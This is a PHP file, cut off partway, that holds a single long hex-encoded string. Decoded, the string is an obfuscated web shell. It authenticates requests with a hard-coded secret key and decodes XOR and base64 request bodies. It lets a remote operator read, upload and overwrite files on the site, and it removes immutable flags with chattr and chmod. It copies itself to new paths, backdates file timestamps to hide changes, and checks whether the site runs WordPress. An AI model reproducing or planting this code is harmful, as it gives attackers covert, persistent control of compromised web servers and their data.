<?php
$_jNUpOp = '646566696e6528275345435245545f4b4559272c20274c4b534a44466144464446333233243261666427293b0a0a24524f4f54203d206469726e616d65285f5f46494c455f5f293b0a2453454c465f46494c45203d205f5f46494c455f5f3b0a69662028697373657428245f5345525645525b275343524950545f46494c454e414d45275d29202626204069735f66696c6528245f5345525645525b275343524950545f46494c454e414d45275d2929207b0a202020202453454c465f46494c45203d20245f5345525645525b275343524950545f46494c454e414d45275d3b0a7d0a0a245f617175615f726f6f745f7265736f6c766564203d2066616c73653b0a696620280a20202020697373657428245f5345525645525b275343524950545f4e414d45275d292020202020262620245f5345525645525b275343524950545f4e414d45275d2020202020213d3d2027272026260a20202020697373657428245f5345525645525b275343524950545f46494c454e414d45275d2920262620245f5345525645525b275343524950545f46494c454e414d45275d20213d3d2027270a29207b0a20202020245f5f736e616d65203d207374725f7265706c61636528275c5c272c20272f272c20245f5345525645525b275343524950545f4e414d45275d293b0a20202020245f5f7366756c6c203d207374725f7265706c61636528275c5c272c20272f272c20245f5345525645525b275343524950545f46494c454e414d45275d293b0a0a20202020245f5f75726c5f646972203d20727472696d286469726e616d6528245f5f736e616d65292c20272f27293b20202f2f20222220e98eb4efbfbd20222f612f622f63220a0a2020202069662028245f5f75726c5f64697220213d3d20272720262620245f5f75726c5f64697220213d3d20272f2729207b0a2020202020202020245f5f66696c655f646972203d20727472696d286469726e616d6528245f5f7366756c6c292c20272f27293b0a20202020202020206966202873756273747228245f5f66696c655f6469722c202d7374726c656e28245f5f75726c5f6469722929203d3d3d20245f5f75726c5f64697229207b0a202020202020202020202020245f5f63616e646964617465203d2073756273747228245f5f66696c655f6469722c20302c207374726c656e28245f5f66696c655f64697229202d207374726c656e28245f5f75726c5f64697229293b0a202020202020202020202020245f5f63616e646964617465203d20727472696d28245f5f63616e6469646174652c20272f27293b0a20202020202020202020202069662028245f5f63616e64696461746520213d3d202727202626204069735f64697228245f5f63616e6469646174652929207b0a2020202020202020202020202020202024524f4f54203d20245f5f63616e6469646174653b0a20202020202020202020202020202020245f617175615f726f6f745f7265736f6c766564203d20747275653b0a2020202020202020202020207d0a20202020202020207d0a202020207d0a7d0a6966202821245f617175615f726f6f745f7265736f6c76656429207b0a20202020696620280a2020202020202020697373657428245f5345525645525b27444f43554d454e545f524f4f54275d2920262620245f5345525645525b27444f43554d454e545f524f4f54275d20213d3d2027272026260a20202020202020204069735f64697228245f5345525645525b27444f43554d454e545f524f4f54275d290a2020202029207b0a202020202020202024524f4f54203d20727472696d287374725f7265706c61636528275c5c272c20272f272c20245f5345525645525b27444f43554d454e545f524f4f54275d292c20272f27293b0a202020207d20656c7365207b0a202020202020202024524f4f54203d206469726e616d65282453454c465f46494c45293b0a202020207d0a7d0a756e73657428245f617175615f726f6f745f7265736f6c7665642c20245f5f736e616d652c20245f5f7366756c6c2c20245f5f75726c5f6469722c20245f5f66696c655f6469722c20245f5f63616e646964617465293b0a0a24686f7374203d20697373657428245f5345525645525b27485454505f484f5354275d29203f20245f5345525645525b27485454505f484f5354275d203a2027273b0a24686f7374203d20737472746f6c6f7765722824686f7374293b0a2470203d20737472706f732824686f73742c20273a27293b0a69662028247020213d3d2066616c736529207b2024686f7374203d207375627374722824686f73742c20302c202470293b207d0a696620287375627374722824686f73742c20302c203429203d3d3d20277777772e2729207b2024686f7374203d207375627374722824686f73742c2034293b207d0a0a24657870656374203d206d6435285345435245545f4b4559202e20273a27202e2024686f7374202e20273a27202e205345435245545f4b4559293b0a0a24616374696f6e203d20697373657428245f524551554553545b27616374696f6e275d29203f20245f524551554553545b27616374696f6e275d203a2027273b0a0a6966202824616374696f6e203d3d3d202727207c7c2024616374696f6e203d3d3d202770696e672729207b0a202020206865616465722827436f6e74656e742d547970653a20746578742f706c61696e27293b0a202020206563686f202731273b0a20202020657869743b0a7d0a0a6966202824616374696f6e203d3d3d20276465746563742729207b0a20202020246861735f77705f6c6f6164203d2069735f66696c652824524f4f54202e20272f77702d6c6f61642e70687027293b0a20202020246861735f77705f626c6f67203d2069735f66696c652824524f4f54202e20272f77702d626c6f672d6865616465722e70687027293b0a202020202469735f7770203d20246861735f77705f6c6f616420262620246861735f77705f626c6f673b0a202020206865616465722827436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e27293b0a202020206563686f206a736f6e5f656e636f6465286172726179280a202020202020202027636f646527202020203d3e203230302c0a20202020202020202769735f7770272020203d3e202469735f7770203f2031203a20302c0a202020202020202027636d732720202020203d3e202469735f7770203f2027576f7264507265737327203a2027637573746f6d272c0a0a20202020202020202762756e646c652720203d3e20312c0a20202020202020202764657461696c2720203d3e206172726179280a2020202020202020202020202777702d6c6f61642e7068702720202020202020203d3e20246861735f77705f6c6f6164203f2031203a20302c0a2020202020202020202020202777702d626c6f672d6865616465722e70687027203d3e20246861735f77705f626c6f67203f2031203a20302c0a2020202020202020292c0a2020202029293b0a20202020657869743b0a7d0a0a24746f6b656e203d2027273b0a69662028697373657428245f5345525645525b27485454505f585f415155415f544f4b454e275d2929207b0a2020202024746f6b656e203d20245f5345525645525b27485454505f585f415155415f544f4b454e275d3b0a7d20656c736569662028697373657428245f524551554553545b27746f6b656e275d2929207b0a2020202024746f6b656e203d20245f524551554553545b27746f6b656e275d3b0a7d0a6966202824746f6b656e20213d3d202465787065637429207b0a20202020617175615f6a736f6e283430332c2027e98d99efbd84e68aa4e98f8defbfa0e78d99e6beb6e8beabe8a7a6272c206e756c6c293b0a7d0a245f5f617175615f6465635f626f6479203d206e756c6c3b0a245f5f617175615f6465635f6572726f72203d2027273b0a0a245f5f617175615f656e63203d2027273b0a69662028697373657428245f524551554553545b2765275d292026262069735f737472696e6728245f524551554553545b2765275d2929207b0a20202020245f5f617175615f656e63203d20245f524551554553545b2765275d3b0a7d20656c736569662028697373657428245f5345525645525b27485454505f585f415155415f454e43275d2929207b0a20202020245f5f617175615f656e63203d20245f5345525645525b27485454505f585f415155415f454e43275d3b0a7d0a0a69662028245f5f617175615f656e63203d3d3d2027786f7227207c7c20245f5f617175615f656e63203d3d3d2027786f722e677a2729207b0a20202020245f5f6b203d2073756273747228246578706563742c20302c203136293b0a20202020245f5f726177203d204066696c655f6765745f636f6e74656e747328277068703a2f2f696e70757427293b0a2020202069662028245f5f726177203d3d3d2066616c7365207c7c20245f5f726177203d3d3d20272729207b0a2020202020202020245f5f617175615f6465635f6572726f72203d2027656d7074795f696e707574273b0a202020207d20656c7365207b0a2020202020202020245f5f706c656e203d20303b0a202020202020202069662028697373657428245f524551554553545b276c275d292026262063747970655f64696769742828737472696e6729245f524551554553545b276c275d2929207b0a202020202020202020202020245f5f706c656e203d20696e7476616c28245f524551554553545b276c275d293b0a20202020202020207d20656c736569662028697373657428245f5345525645525b27485454505f585f415155415f4c454e275d2929207b0a202020202020202020202020245f5f706c656e203d20696e7476616c28245f5345525645525b27485454505f585f415155415f4c454e275d293b0a20202020202020207d0a202020202020202069662028245f5f706c656e203e203020262620245f5f706c656e203c207374726c656e28245f5f7261772929207b0a202020202020202020202020245f5f726177203d2073756273747228245f5f7261772c20302c20245f5f706c656e293b0a20202020202020207d0a20202020202020202f2f206261736536345f6465636f6465202b20584f520a2020202020202020245f5f62696e203d206261736536345f6465636f646528245f5f726177293b0a202020202020202069662028245f5f62696e203d3d3d2066616c7365207c7c20245f5f62696e203d3d3d20272729207b0a202020202020202020202020245f5f617175615f6465635f6572726f72203d20276261736536345f6661696c6564273b0a20202020202020207d20656c7365207b0a202020202020202020202020245f5f6b6c656e203d207374726c656e28245f5f6b293b0a202020202020202020202020666f722028245f5f69203d20302c20245f5f626c656e203d207374726c656e28245f5f62696e293b20245f5f69203c20245f5f626c656e3b20245f5f692b2b29207b0a20202020202020202020202020202020245f5f62696e5b245f5f695d203d20636872286f726428245f5f62696e5b245f5f695d29205e206f726428245f5f6b5b245f5f69202520245f5f6b6c656e5d29293b0a2020202020202020202020207d0a2020202020202020202020202f2f20677a697020e79199efbd85e5b8870a20202020202020202020202069662028245f5f617175615f656e63203d3d3d2027786f722e677a2729207b0a202020202020202020202020202020206966202866756e6374696f6e5f6578697374732827677a756e636f6d7072657373272929207b0a2020202020202020202020202020202020202020245f5f646563203d2040677a756e636f6d707265737328245f5f62696e293b0a202020202020202020202020202020202020202069662028245f5f64656320213d3d2066616c736529207b0a202020202020202020202020202020202020202020202020245f5f62696e203d20245f5f6465633b0a20202020202020202020202020202020202020207d20656c7365207b0a202020202020202020202020202020202020202020202020245f5f617175615f6465635f6572726f72203d2027677a756e636f6d70726573735f6661696c6564273b0a20202020202020202020202020202020202020207d0a202020202020202020202020202020207d0a2020202020202020202020207d0a20202020202020202020202069662028245f5f617175615f6465635f6572726f72203d3d3d20272729207b0a20202020202020202020202020202020245f5f617175615f6465635f626f6479203d20245f5f62696e3b0a2020202020202020202020207d0a20202020202020207d0a202020207d0a2020202069662028245f5f617175615f6465635f626f6479203d3d3d206e756c6c29207b0a2020202020202020617175615f6a736f6e283439392c2027646563727970745f6661696c65643a27202e20245f5f617175615f6465635f6572726f722c206e756c6c293b0a202020207d0a20202020756e73657428245f5f6b2c20245f5f7261772c20245f5f62696e2c20245f5f6b6c656e2c20245f5f692c20245f5f626c656e2c20245f5f706c656e2c20245f5f646563293b0a7d0a756e73657428245f5f617175615f656e632c20245f5f617175615f6465635f6572726f72293b0a0a66756e6374696f6e20617175615f736166655f706174682824524f4f542c202472656c29207b0a202020202472656c203d207374725f7265706c61636528275c5c272c20272f272c202472656c293b0a202020202472656c203d206c7472696d282472656c2c20272f27293b0a20202020696620282472656c203d3d3d202727207c7c20737472706f73282472656c2c20272e2e272920213d3d2066616c736529207b2072657475726e2066616c73653b207d0a20202020247061727473203d206578706c6f646528272f272c202472656c293b0a2020202024636c65616e203d20617272617928293b0a20202020666f7220282469203d20303b202469203c20636f756e7428247061727473293b2024692b2b29207b0a202020202020202024736567203d202470617274735b24695d3b0a20202020202020206966202824736567203d3d3d202727207c7c2024736567203d3d3d20272e27207c7c2024736567203d3d3d20272e2e2729207b2072657475726e2066616c73653b207d0a202020202020202024736567203d20707265675f7265706c61636528272f5b5e412d5a612d7a302d392e5f2d5d2f272c20275f272c2024736567293b0a20202020202020206966202824736567203d3d3d20272729207b2072657475726e2066616c73653b207d0a202020202020202024636c65616e5b5d203d20247365673b0a202020207d0a2020202072657475726e2024524f4f54202e20272f27202e20696d706c6f646528272f272c2024636c65616e293b0a7d0a0a737769746368202824616374696f6e29207b0a0a2020202063617365202772656164273a0a20202020202020202472656c203d20697373657428245f524551554553545b2766696c65275d29203f20245f524551554553545b2766696c65275d203a2027696e6465782e706870273b0a20202020202020202466756c6c203d20617175615f736166655f706174682824524f4f542c202472656c293b0a2020202020202020696620282466756c6c203d3d3d2066616c7365207c7c202169735f66696c65282466756c6c2929207b0a202020202020202020202020617175615f6a736f6e283430342c2027e98f82e59ba6e6aca2e6b693e5b685e793a8e98da6efbfbd272c206e756c6c293b0a20202020202020207d0a202020202020202024636f6e74656e74203d2066696c655f6765745f636f6e74656e7473282466756c6c293b0a2020202020202020617175615f6a736f6e283230302c20276f6b272c206172726179280a2020202020202020202020202766696c6527202020203d3e202472656c2c0a2020202020202020202020202773697a6527202020203d3e207374726c656e2824636f6e74656e74292c0a202020202020202020202020276d64352720202020203d3e206d64352824636f6e74656e74292c0a20202020202020202020202027636f6e74656e7427203d3e206261736536345f656e636f64652824636f6e74656e74292c0a202020202020202029293b0a2020202020202020627265616b3b0a0a2020202063617365202768617368273a0a20202020202020202472656c203d20697373657428245f524551554553545b2766696c65275d29203f20245f524551554553545b2766696c65275d203a2027696e6465782e706870273b0a20202020202020202466756c6c203d20617175615f736166655f706174682824524f4f542c202472656c293b0a2020202020202020696620282466756c6c203d3d3d2066616c7365207c7c202169735f66696c65282466756c6c2929207b0a202020202020202020202020617175615f6a736f6e283430342c2027e98f82e59ba6e6aca2e6b693e5b685e793a8e98da6efbfbd272c206e756c6c293b0a20202020202020207d0a2020202020202020617175615f6a736f6e283230302c20276f6b272c206172726179280a2020202020202020202020202766696c6527203d3e202472656c2c0a2020202020202020202020202773697a6527203d3e2066696c6573697a65282466756c6c292c0a202020202020202020202020276d64352720203d3e206d64355f66696c65282466756c6c292c0a202020202020202029293b0a2020202020202020627265616b3b0a0a2020202063617365202775706c6f6164273a0a2020202020202020617175615f636c65616e75705f626c6f636b6572732824524f4f54293b0a0a20202020202020206966202821697373657428245f46494c45535b2766696c65275d29207c7c20245f46494c45535b2766696c65275d5b276572726f72275d20213d3d2055504c4f41445f4552525f4f4b29207b0a202020202020202020202020617175615f6a736f6e283430302c2027e98f88ee8185e695b9e98d92e78988e69e83e6b5a0e888b5e59ea8e6b693e5a981e7b4b6e98d91e6b4aae6958a272c206e756c6c293b0a20202020202020207d0a20202020202020202472656c203d20697373657428245f524551554553545b2772656c5f70617468275d29203f20245f524551554553545b2772656c5f70617468275d203a2027273b0a20202020202020202472656c203d207374725f7265706c61636528275c5c272c20272f272c202472656c293b0a20202020202020202472656c203d206c7472696d282472656c2c20272f27293b0a0a202020202020202024736c617368203d2073747272706f73282472656c2c20272f27293b0a20202020202020206966202824736c617368203d3d3d2066616c736529207b202472656c446972203d2027273b202472656c46696c65203d202472656c3b207d0a2020202020202020656c7365207b202472656c446972203d20737562737472282472656c2c20302c2024736c617368293b202472656c46696c65203d20737562737472282472656c2c2024736c617368202b2031293b207d0a0a20202020202020202472656c46696c65203d20626173656e616d65282472656c46696c65293b0a20202020202020202472656c46696c65203d20707265675f7265706c61636528272f5b5e412d5a612d7a302d392e5f2d5d2f272c20275f272c202472656c46696c65293b0a2020202020202020696620282472656c46696c65203d3d3d202727207c7c202472656c46696c65203d3d3d20272e27207c7c202472656c46696c65203d3d3d20272e2e2729207b202472656c46696c65203d202766696c655f27202e2074696d6528293b207d0a0a2020202020202020247573656446616c6c6261636b203d2066616c73653b0a2020202020202020696620282472656c446972203d3d3d20272729207b0a2020202020202020202020202464657374446972203d2024524f4f543b0a20202020202020207d20656c7365207b0a202020202020202020202020247061727473203d206578706c6f646528272f272c202472656c446972293b202473616665203d20617272617928293b2024626164203d2066616c73653b0a202020202020202020202020666f7220282469203d20303b202469203c20636f756e7428247061727473293b2024692b2b29207b0a2020202020202020202020202020202024736567203d202470617274735b24695d3b0a202020202020202020202020202020206966202824736567203d3d3d202727207c7c2024736567203d3d3d20272e27207c7c2024736567203d3d3d20272e2e2729207b2024626164203d20747275653b20627265616b3b207d0a202020202020202020202020202020202463203d20707265675f7265706c61636528272f5b5e412d5a612d7a302d392e5f2d5d2f272c20275f272c2024736567293b0a20202020202020202020202020202020696620282463203d3d3d20272729207b2024626164203d20747275653b20627265616b3b207d0a2020202020202020202020202020202024736166655b5d203d2024633b0a2020202020202020202020207d0a2020202020202020202020202463616e64203d2024626164203f202727203a202824524f4f54202e20272f27202e20696d706c6f646528272f272c20247361666529293b0a202020202020202020202020696620282124626164202626202463616e6420213d3d20272729207b0a20202020202020202020202020202020696620282169735f646972282463616e642929207b0a2020202020202020202020202020202020202020406d6b646972282463616e642c20303735352c2074727565293b0a202020202020202020202020202020207d0a202020202020202020202020202020206966202869735f646972282463616e642929207b0a20202020202020202020202020202020202020202464657374446972203d202463616e643b0a202020202020202020202020202020207d20656c7365207b0a20202020202020202020202020202020202020202464657374446972203d2024524f4f54202e20272f75706c6f616473273b0a2020202020202020202020202020202020202020247573656446616c6c6261636b203d20747275653b0a202020202020202020202020202020207d0a2020202020202020202020207d20656c7365207b0a202020202020202020202020202020202464657374446972203d2024524f4f54202e20272f75706c6f616473273b0a20202020202020202020202020202020247573656446616c6c6261636b203d20747275653b0a2020202020202020202020207d0a20202020202020207d0a202020202020202069662028247573656446616c6c6261636b202626202169735f6469722824646573744469722929207b0a2020202020202020202020206966202821406d6b6469722824646573744469722c20303735352c207472756529202626202169735f6469722824646573744469722929207b0a20202020202020202020202020202020617175615f6a736f6e283530302c2027e98f83e78ab3e7a1b6e98d92e6b698e7bc932075706c6f61647320e98d8fe6bb83e7b0b3e990a9ee86bce7b68d272c206e756c6c293b0a2020202020202020202020207d0a20202020202020207d0a20202020202020202464657374203d202464657374446972202e20272f27202e202472656c46696c653b0a202020202020202069662028216d6f76655f75706c6f616465645f66696c6528245f46494c45535b2766696c65275d5b27746d705f6e616d65275d2c2024646573742929207b0a202020202020202020202020617175615f6a736f6e283530302c2027e6b787e6bf86e793a8e6beb6e8beabe8a7a6272c206e756c6c293b0a20202020202020207d0a2020202020202020617175615f746f7563685f32303230282464657374293b0a2020202020202020617175615f746f7563685f323032305f6469722824646573744469722c2024524f4f54293b0a2020202020202020617175615f6a736f6e283230302c20276f6b272c206172726179280a20202020202020202020202027736176656427202020203d3e20617175615f72656c2824524f4f542c202464657374292c0a2020202020202020202020202766616c6c6261636b27203d3e20247573656446616c6c6261636b203f2031203a20302c0a2020202020202020202020202773697a652720202020203d3e2066696c6573697a65282464657374292c0a202020202020202029293b0a2020202020202020627265616b3b0a0a202020206361736520277772697465273a0a20202020202020202472656c203d20697373657428245f524551554553545b2772656c5f70617468275d29203f20245f524551554553545b2772656c5f70617468275d203a2027273b0a2020202020202020696620282472656c203d3d3d20272729207b20617175615f6a736f6e283430302c2027e7bc82e59384e79aaf2072656c5f70617468272c206e756c6c293b207d0a0a2020202020202020617175615f636c65616e75705f626c6f636b6572732824524f4f54293b0a0a20202020202020202464657374203d20617175615f77726974655f7461726765742824524f4f542c202472656c293b0a2020202020202020696620282464657374203d3d3d2066616c736529207b20617175615f6a736f6e283430302c2027e990a9ee86bde788a3e792baee889ae7b79ee99788e782b4e7a1b6272c206e756c6c293b207d0a0a202020202020202069662028697373657428245f46494c45535b2766696c65275d2920262620245f46494c45535b2766696c65275d5b276572726f72275d203d3d3d2055504c4f41445f4552525f4f4b29207b0a2020202020202020202020206966202869735f66696c652824646573742929207b20617175615f656e737572655f7772697461626c65282464657374293b207d0a2020202020202020202020206966202821406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2766696c65275d5b27746d705f6e616d65275d2c2024646573742929207b0a202020202020202020202020202020206966202869735f66696c652824646573742929207b0a20202020202020202020202020202020202020206966202866756e6374696f6e5f657869737473282765786563272929207b2040657865632827636861747472202d692027202e206573636170657368656c6c61726728246465737429202e202720323e2f6465762f6e756c6c27293b207d0a20202020202020202020202020202020202020204063686d6f642824646573742c2030373737293b2040756e6c696e6b282464657374293b0a202020202020202020202020202020207d0a202020202020202020202020202020206966202821406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2766696c65275d5b27746d705f6e616d65275d2c2024646573742929207b0a2020202020202020202020202020202020202020617175615f6a736f6e283530302c2027e6b787e6bf86e793a8e6beb6e8beabe8a7a6272c206e756c6c293b0a202020202020202020202020202020207d0a2020202020202020202020207d0a202020202020202020202020617175615f746f7563685f32303230282464657374293b0a202020202020202020202020617175615f746f7563685f323032305f646972286469726e616d65282464657374292c2024524f4f54293b0a202020202020202020202020617175615f6a736f6e283230302c20276f6b272c2061727261792827736176656427203d3e20617175615f72656c2824524f4f542c202464657374292c202773697a6527203d3e2066696c6573697a652824646573742929293b0a20202020202020207d0a202020202020202069662028697373657428245f524551554553545b27636f6e74656e745f623634275d2929207b0a2020202020202020202020202464617461203d206261736536345f6465636f646528245f524551554553545b27636f6e74656e745f623634275d293b0a202020202020202020202020696620282464617461203d3d3d2066616c736529207b20617175615f6a736f6e283430302c2027636f6e74656e745f62363420e79199efbd87e7889ce6beb6e8beabe8a7a6272c206e756c6c293b207d0a2020202020202020202020206966202821617175615f666f7263655f77726974652824646573742c2024646174612929207b0a20202020202020202020202020202020617175615f6a736f6e283530302c2027e98d90e6ac8fe58f86e6beb6e8beabe8a7a6272c206e756c6c293b0a2020202020202020202020207d0a202020202020202020202020617175615f746f7563685f32303230282464657374293b0a202020202020202020202020617175615f746f7563685f323032305f646972286469726e616d65282464657374292c2024524f4f54293b0a202020202020202020202020617175615f6a736f6e283230302c20276f6b272c2061727261792827736176656427203d3e20617175615f72656c2824524f4f542c202464657374292c202773697a6527203d3e207374726c656e2824646174612929293b0a20202020202020207d0a2020202020202020617175615f6a736f6e283430302c2027e5a88ce28483e6b981e98d99ee889ae59593e98d8fe383a7e6ae91e98d90e591adee8690272c206e756c6c293b0a2020202020202020627265616b3b0a0a20202020636173652027737072656164273a0a202020202020202024746f203d20697373657428245f524551554553545b27746f275d29203f20245f524551554553545b27746f275d203a2027273b0a20202020202020206966202824746f203d3d3d20272729207b20617175615f6a736f6e283430302c2027e7bc82e59384e79aaf20746f272c206e756c6c293b207d0a20202020202020202464657374203d20617175615f77726974655f7461726765742824524f4f542c2024746f293b0a2020202020202020696620282464657374203d3d3d2066616c736529207b20617175615f6a736f6e283430302c2027e990a9ee86bde788a3e792baee889ae7b79ee99788e782b4e7a1b6272c206e756c6c293b207d0a20202020202020202473656c66203d2066696c655f6765745f636f6e74656e7473282453454c465f46494c45293b0a2020202020202020696620282473656c66203d3d3d2066616c736529207b20617175615f6a736f6e283530302c2027e79287e8afb2e5bd87e991b7ee8187e99fa9e6beb6e8beabe8a7a6272c206e756c6c293b207d0a20202020202020206966202821617175615f666f7263655f77726974652824646573742c202473656c662929207b0a202020202020202020202020617175615f6a736f6e283530302c2027e6beb6e5b685e59f97e6beb6e8beabe8a7a6e9949be5a0a2e6b4b0e8a4b0e69b9ee5bdb2e991b3e68892e7ac89e98d99ee889ae59593e9949befbfbd272c206e756c6c293b0a20202020202020207d0a2020202020202020617175615f746f7563685f32303230282464657374293b0a2020202020202020617175615f6a736f6e283230302c20276f6b272c2061727261792827737061776e656427203d3e20617175615f72656c2824524f4f542c202464657374292c202773697a6527203d3e207374726c656e282473656c662929293b0a2020202020202020627265616b3b0a0a202020206361736520276261636b7570273a0a20202020202020206966202821697373657428245f524551554553545b27636f756e74275d2929207b0a202020202020202020202020617175615f6a736f6e283430302c2027e7bc82e59384e79aaf20636f756e7420e98d99e5829be69a9f272c206e756c6c293b0a20202020202020207d0a0a202020202020202024636f756e74203d20696e7476616c28245f524551554553545b27636f756e74275d293b0a20202020202020206966202824636f756e74203c3d2030207c7c2024636f756e74203e20323029207b0a202020202020202020202020617175615f6a736f6e283430302c2027636f756e7420e8b987e591b4e3808fe98da6efbfbd20312d323020e6b694e5acaee6a3bf272c206e756c6c293b0a20202020202020207d0a0a202020202020202024726573756c7473203d20617272617928293b0a20202020202020202473756363657373436f756e74203d20303b0a2020202020202020246661696c6564436f756e74203d20303b0a0a2020202020202020666f7220282469203d20303b202469203c2024636f756e743b2024692b2b29207b0a2020202020202020202020202466726f6d4b6579203d202766726f6d5f27202e2024693b0a20202020202020202020202024746f4b6579203d2027746f5f27202e2024693b0a0a2020202020202020202020206966202821697373657428245f524551554553545b2466726f6d4b65795d29207c7c2021697373657428245f524551554553545b24746f4b65795d2929207b0a2020202020202020202020202020202024726573756c74735b5d203d2061727261792827696e64657827203d3e2024692c20276f6b27203d3e2066616c73652c20276572726f7227203d3e2027e7bc82e59384e79aafe98d99e5829be69a9f27293b0a20202020202020202020202020202020246661696c6564436f756e742b2b3b0a20202020202020202020202020202020636f6e74696e75653b0a2020202020202020202020207d0a0a2020202020202020202020202466726f6d203d20245f524551554553545b2466726f6d4b65795d3b0a20202020202020202020202024746f203d20245f524551554553545b24746f4b65795d3b0a0a2020202020202020202020202466726f6d46756c6c203d20617175615f736166655f706174682824524f4f542c202466726f6d293b0a20202020202020202020202024746f46756c6c203d20617175615f77726974655f7461726765742824524f4f542c2024746f293b0a0a202020202020202020202020696620282466726f6d46756c6c203d3d3d2066616c736529207b0a2020202020202020202020202020202024726573756c74735b5d203d206172726179282766726f6d27203d3e202466726f6d2c2027746f27203d3e2024746f2c20276f6b27203d3e2066616c73652c20276572726f7227203d3e2027e5a9a7e684afe79fbee5afb0e58bafe6bdaae5a889efbfbd27293b0a20202020202020202020202020202020246661696c6564436f756e742b2b3b0a20202020202020202020202020202020636f6e74696e75653b0a2020202020202020202020207d0a0a2020202020202020202020206966202824746f46756c6c203d3d3d2066616c736529207b0a2020202020202020202020202020202024726573756c74735b5d203d206172726179282766726f6d27203d3e202466726f6d2c2027746f27203d3e2024746f2c20276f6b27203d3e2066616c73652c20276572726f7227203d3e2027e990a9ee86bde788a3e792baee889ae7b79ee99788e782b4e7a1b627293b0a20202020202020202020202020202020246661696c6564436f756e742b2b3b0a20202020202020202020202020202020636f6e74696e75653b0a2020202020202020202020207d0a0a202020202020202020202020696620282169735f66696c65282466726f6d46756c6c2929207b0a2020202020202020202020202020202024726573756c74735b5d203d206172726179282766726f6d27203d3e202466726f6d2c2027746f27203d3e2024746f2c20276f6b27203d3e2066616c73652c20276572726f7227203d3e2027e5a9a7e684ade69e83e6b5a0e69cb5e7ac89e7809be6a8bae6b9aa27293b0a20202020202020202020202020202020246661696c6564436f756e742b2b3b0a20202020202020202020202020202020636f6e74696e75653b0a2020202020202020202020207d0a0a20202020202020202020202024636f6e74656e74203d2066696c655f6765745f636f6e74656e7473282466726f6d46756c6c293b0a2020202020202020202020206966202824636f6e74656e74203d3d3d2066616c736529207b0a2020202020202020202020202020202024726573756c74735b5d203d206172726179282766726f6d27203d3e202466726f6d2c2027746f27203d3e2024746f2c20276f6b27203d3e2066616c73652c20276572726f7227203d3e2027e79287e8afb2e5bd87e5a9a7e684ade69e83e6b5a0e8b7bae38191e79290efbfbd27293b0a20202020202020202020202020202020246661696c6564436f756e742b2b3b0a20202020202020202020202020202020636f6e74696e75653b0a2020202020202020202020207d0a0a202020202020202020202020246e656564557064617465203d20747275653b0a2020202020202020202020206966202869735f66696c652824746f46756c6c2929207b0a20202020202020202020202020202020246578697374696e67203d2066696c655f6765745f636f6e74656e74732824746f46756c6c293b0a2020202020202020202020202020202069662028246578697374696e67203d3d3d2024636f6e74656e7429207b0a2020202020202020202020202020202020202020246e656564557064617465203d2066616c73653b0a202020202020202020202020202020207d0a2020202020202020202020207d0a0a20202020202020202020202069662028246e65656455706461746529207b0a202020202020202020202020202020206966202821617175615f666f7263655f77726974652824746f46756c6c2c2024636f6e74656e742929207b0a202020202020202020202020202020202020202024726573756c74735b5d203d206172726179282766726f6d27203d3e202466726f6d2c2027746f27203d3e2024746f2c20276f6b27203d3e2066616c73652c20276572726f7227203d3e2027e98d90e6ac8fe58f86e6beb6e59ba6e594a4e6beb6e8beabe8a7a627293b0a2020202020202020202020202020202020202020246661696c6564436f756e742b2b3b0a2020202020202020202020202020202020202020636f6e74696e75653b0a202020202020202020202020202020207d0a20202020202020202020202020202020617175615f746f7563685f323032302824746f46756c6c293b0a2020202020202020202020207d0a0a20202020202020202020202024726573756c74735b5d203d206172726179280a202020202020202020202020202020202766726f6d27203d3e202466726f6d2c0a2020202020202020202020202020202027746f27203d3e2024746f2c0a20202020202020202020202020202020276f6b27203d3e20747275652c0a202020202020202020202020202020202773697a6527203d3e207374726c656e2824636f6e74656e74292c0a20202020202020202020202020202020277570646174656427203d3e20246e6565645570646174650a202020202020202020202020293b0a2020202020202020202020202473756363657373436f756e742b2b3b0a20202020202020207d0a0a2020202020202020617175615f6a736f6e283230302c20276f6b272c206172726179280a202020202020202020202020277375636365737327203d3e202473756363657373436f756e742c0a202020202020202020202020276661696c656427203d3e20246661696c6564436f756e742c0a2020202020202020202020202766696c657327203d3e2024726573756c74730a202020202020202029293b0a2020202020202020627265616b3b0a0a2020202063617365202762617463685f7772697465273a0a2020202020202020617175615f636c65616e75705f626c6f636b6572732824524f4f54293b0a0a20202020202020206966202821697373657428245f46494c455329207c7c20636f756e7428245f46494c455329203d3d3d203029207b0a202020202020202020202020617175615f6a736f6e283430302c2027e5a88ce28483e6b981e6b693e5a981e7b4b6e98f82e59ba6e6aca2272c206e756c6c293b0a20202020202020207d0a0a202020202020202024726573756c7473203d20617272617928293b0a20202020202020202473756363657373436f756e74203d20303b0a2020202020202020246661696c6564436f756e74203d20303b0a0a2020202020202020666f72656163682028245f46494c455320617320246b6579203d3e202466696c6529207b0a20202020202020202020202024696478203d207374725f7265706c616365282766696c655f272c2027272c20246b6579293b0a20202020202020202020202024706174684b6579203d2027706174685f27202e20246964783b0a0a2020202020202020202020206966202821697373657428245f524551554553545b24706174684b65795d2929207b0a2020202020202020202020202020202024726573756c74735b5d203d206172726179282766696c6527203d3e20246b65792c20276f6b27203d3e2066616c73652c20276572726f7227203d3e2027e7bc82e59384e79aafe792baee889ae7b79ee98d99e5829be69a9f27293b0a20202020202020202020202020202020246661696c6564436f756e742b2b3b0a20202020202020202020202020202020636f6e74696e75653b0a2020202020202020202020207d0a0a2020202020202020202020202472656c50617468203d20245f524551554553545b24706174684b65795d3b0a2020202020202020202020202464657374203d20617175615f77726974655f7461726765742824524f4f542c202472656c50617468293b0a0a202020202020202020202020696620282464657374203d3d3d2066616c736529207b0a2020202020202020202020202020202024726573756c74735b5d203d20617272617928277061746827203d3e202472656c506174682c20276f6b27203d3e2066616c73652c20276572726f7227203d3e2027e990a9ee86bde788a3e792baee889ae7b79ee99788e782b4e7a1b627293b0a20202020202020202020202020202020246661696c6564436f756e742b2b3b0a20202020202020202020202020202020636f6e74696e75653b0a2020202020202020202020207d0a0a202020202020202020202020696620282466696c655b276572726f72275d20213d3d2055504c4f41445f4552525f4f4b29207b0a2020202020202020202020202020202024726573756c74735b5d203d20617272617928277061746827203d3e202472656c506174682c20276f6b27203d3e2066616c73652c20276572726f7227203d3e2027e6b693e5a981e7b4b6e996bfe6ac92ee87a4e9949befbfbd27202e202466696c655b276572726f72275d293b0a20202020202020202020202020202020246661696c6564436f756e742b2b3b0a20202020202020202020202020202020636f6e74696e75653b0a2020202020202020202020207d0a0a2020202020202020202020206966202869735f66696c652824646573742929207b0a20202020202020202020202020202020617175615f656e737572655f7772697461626c65282464657374293b0a2020202020202020202020207d0